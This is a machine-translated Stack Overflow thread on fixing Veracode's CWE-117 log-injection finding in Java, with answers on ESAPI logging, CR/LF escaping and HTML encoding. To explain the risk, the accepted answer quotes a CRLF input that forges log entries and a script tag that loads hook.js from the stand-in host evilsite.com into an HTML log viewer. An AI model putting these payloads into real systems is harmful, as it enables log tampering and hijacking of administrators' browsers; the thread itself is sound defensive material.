首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >如何修复Veracode CWE 117 (日志的输出中性不正确)

如何修复Veracode CWE 117 (日志的输出中性不正确)
EN

Stack Overflow用户
提问于 2017-07-06 12:44:25
回答 6查看 45.3K关注 0票数 24

有一个Spring全局@ExceptionHandler(Exception.class)方法,它记录这样的异常:

代码语言:javascript
运行
复制
@ExceptionHandler(Exception.class)
void handleException(Exception ex) {
    logger.error("Simple error message", ex);
...

Veracode扫描说,这个日志记录有Improper Output Neutralization for Logs,并建议使用ESAPI记录器。有没有办法在不将记录器更改为ESAPI的情况下修复此漏洞?这是我在代码中遇到这个问题的唯一地方,我试图找出如何用最小的更改来修复它。也许ESAPI有一些我没注意到的方法?

当前的记录器是Log4j over slf4j

UPD:最后我使用了ESAPI记录器。我以为它不会使用我的默认日志服务,但我错了,它只是使用了我的slf4j记录器接口和适当的配置。

代码语言:javascript
运行
复制
private static final Logger logger = ESAPI.getLogger(MyClass.class);
...
logger.error(null, "Simple error message", ex);

ESAPI扩展了log4j记录器和记录器工厂。可以配置在ESAPI.properties中使用的内容。例如:

代码语言:javascript
运行
复制
ESAPI.Logger=org.owasp.esapi.reference.Log4JLogFactory
EN

回答 6

Stack Overflow用户

回答已采纳

发布于 2017-07-06 21:06:03

有没有办法在不将记录器更改为ESAPI的情况下修复此漏洞?

简而言之,是的。

TLDR:

首先要了解错误的严重性。主要关注的是伪造日志状态。假设你有这样的代码:

代码语言:javascript
运行
复制
log.error( transactionId + " for user " + username + " was unsuccessful."

如果任何一个变量都在用户控制之下,它们就可以通过使用\r\n for user foobar was successful\rn之类的输入注入假日志语句,从而允许它们伪造日志并掩盖它们的踪迹。(好吧,在这种人为的情况下,让我们更难看到发生了什么。)

第二种攻击方式更像是国际象棋。许多日志都是HTML格式的,以便在另一个程序中查看,在本例中,我们将假设日志是要在浏览器中查看的HTML文件。现在我们注入<script src=”https://evilsite.com/hook.js” type=”text/javascript”></script>,您将使用一个很有可能作为服务器管理员执行的攻击框架连接浏览器.因为这位首席执行官是否会阅读日志令人怀疑。现在真正的黑客可以开始了。

防御:

一个简单的防御措施是确保所有带有用户输入的日志语句都转义字符'\n‘和'\r’,使用一些明显的东西,比如'֎‘,或者您可以执行ESAPI所做的操作,并使用下划线转义。它真的没有关系,只要它的一致性,只是要记住,不要使用字符集,这将使您在日志中迷惑。有点像userInput.replaceAll("\r", "֎").replaceAll("\n", "֎");

我还发现确保日志格式的详细说明是有用的.这意味着您必须确保对日志语句的外观有严格的标准,并构造格式,以便更容易捕获恶意用户。所有程序员必须服从党和遵循的格式!

为了抵御HTML场景,我将使用OWASP编码器项目

至于为什么建议ESAPI的实现,它是一个经过战斗测试的库,但是简单地说,这就是我们所做的。见守则:

代码语言:javascript
运行
复制
/**
 * Log the message after optionally encoding any special characters that might be dangerous when viewed
 * by an HTML based log viewer. Also encode any carriage returns and line feeds to prevent log
 * injection attacks. This logs all the supplied parameters plus the user ID, user's source IP, a logging
 * specific session ID, and the current date/time.
 *
 * It will only log the message if the current logging level is enabled, otherwise it will
 * discard the message.
 *
 * @param level defines the set of recognized logging levels (TRACE, INFO, DEBUG, WARNING, ERROR, FATAL)
 * @param type the type of the event (SECURITY SUCCESS, SECURITY FAILURE, EVENT SUCCESS, EVENT FAILURE)
 * @param message the message to be logged
 * @param throwable the {@code Throwable} from which to generate an exception stack trace.
 */
private void log(Level level, EventType type, String message, Throwable throwable) {

    // Check to see if we need to log.
    if (!isEnabledFor(level)) {
        return;
    }

    // ensure there's something to log
    if (message == null) {
        message = "";
    }

    // ensure no CRLF injection into logs for forging records
    String clean = message.replace('\n', '_').replace('\r', '_');
    if (ESAPI.securityConfiguration().getLogEncodingRequired()) {
        clean = ESAPI.encoder().encodeForHTML(message);
        if (!message.equals(clean)) {
            clean += " (Encoded)";
        }
    }

    // log server, port, app name, module name -- server:80/app/module
    StringBuilder appInfo = new StringBuilder();
    if (ESAPI.currentRequest() != null && logServerIP) {
        appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort());
    }
    if (logAppName) {
        appInfo.append("/").append(applicationName);
    }
    appInfo.append("/").append(getName());

    //get the type text if it exists
    String typeInfo = "";
    if (type != null) {
        typeInfo += type + " ";
    }

    // log the message
    // Fix for https://code.google.com/p/owasp-esapi-java/issues/detail?id=268
    // need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class
    log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable);
}

见第398-453行。这就是ESAPI提供的全部转义。我建议也复制单元测试。

免责声明:我是ESAPI项目的共同负责人.

1:项目,并确保您的输入在进入日志语句时被正确编码--每一点都与将输入发送回用户时一样多。

票数 19
EN

Stack Overflow用户

发布于 2019-10-30 10:36:17

我是维拉科德的新手,面对的是CWE-117。据我所知,当您的记录器语句有可能通过传入的恶意请求的参数值受到攻击时,Veracode会引发此错误。因此,我们需要从记录器语句中使用的变量中删除/r和/n (CRLF)。

大多数新手会想知道应该使用什么方法从logger语句中传递的变量中删除CRLF。另外,replaceAll()有时也不能工作,因为它不是Veracode批准的方法。因此,这里是Veracode为处理CWE问题而批准的方法的链接。链接过期@22.11.2022

在我的例子中,我使用了上面提到的org.springframework.web.util.HtmlUtils.htmlEscape,它解决了这个问题。

代码语言:javascript
运行
复制
private static final Logger LOG = LoggerFactory.getLogger(MemberController.class);
//problematic logger statement 
LOG.info("brand {}, country {}",brand,country);
//Correct logger statement
LOG.info("brand {}, country {}",org.springframework.web.util.HtmlUtils.htmlEscape(brand),org.springframework.web.util.HtmlUtils.htmlEscape(country));

编辑-1: Veracode已经停止建议对记录器变量进行清理的任何特定函数/方法。然而,在上述情况下,解决方案将有效。找到由Veracode建议的下面的链接,它解释了该做什么,以及如何做它来修复某些语言的CWE-117。

https://community.veracode.com/s/article/How-to-Fix-CWE-117-Improper-Output-Neutralization-for-Logs

JAVA:为记录器使用来自OWASP的ESAPI库的。查看链接https://www.veracode.com/security/java/cwe-117中的更多细节

票数 8
EN

Stack Overflow用户

发布于 2019-07-04 14:52:47

虽然我有点晚了,但我认为这会对那些不想使用ESAPI库的人有所帮助,并且只会为异常处理程序类面临问题。

使用

代码语言:javascript
运行
复制
import org.apache.commons.lang3.exception.ExceptionUtils;
LOG.error(ExceptionUtils.getStackTrace(ex));
票数 2
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/44949254

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档